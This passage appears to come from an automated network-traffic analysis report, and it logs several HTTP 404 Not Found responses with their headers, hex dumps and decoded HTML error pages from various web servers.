6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:43 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404">
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:54:57 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:55:00 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:55:03 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:55:28 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:55:31 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:55:34 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:55:37 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:57:02 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ro8%2BRdHQnVliNe7E5davoxQTs2cygGkkW9VFtFoOHfMhs8cUYRTOd2FRiLEzR2vOuZFGqLFUprke5iUZuh8pBPwTtJ1JkCtkeZiTDPAal%2FREEjgyvJMsdBNw2BT1GGSyxwzbUJUyWg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59ee708b262d6-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119019&min_rtt=119019&rtt_var=59509&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=811&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff 0d 0a Data Ascii: d8Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:57:04 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WJO2FK9AJGTkAq99G%2Bdjq3Vc6cxrXhB42WFqvbhE%2FKlJ4a8w6zEPZf385%2BNpegU5X6Zhz%2FKLFEvlkcBqWt1L9RF72xBetg%2FLwZFAecHD23i%2BaCY5DCPjOYXo4IUl0pfkGdzzVHw9yg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59ef79e5810ed-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=118653&min_rtt=118653&rtt_var=59326&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=831&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 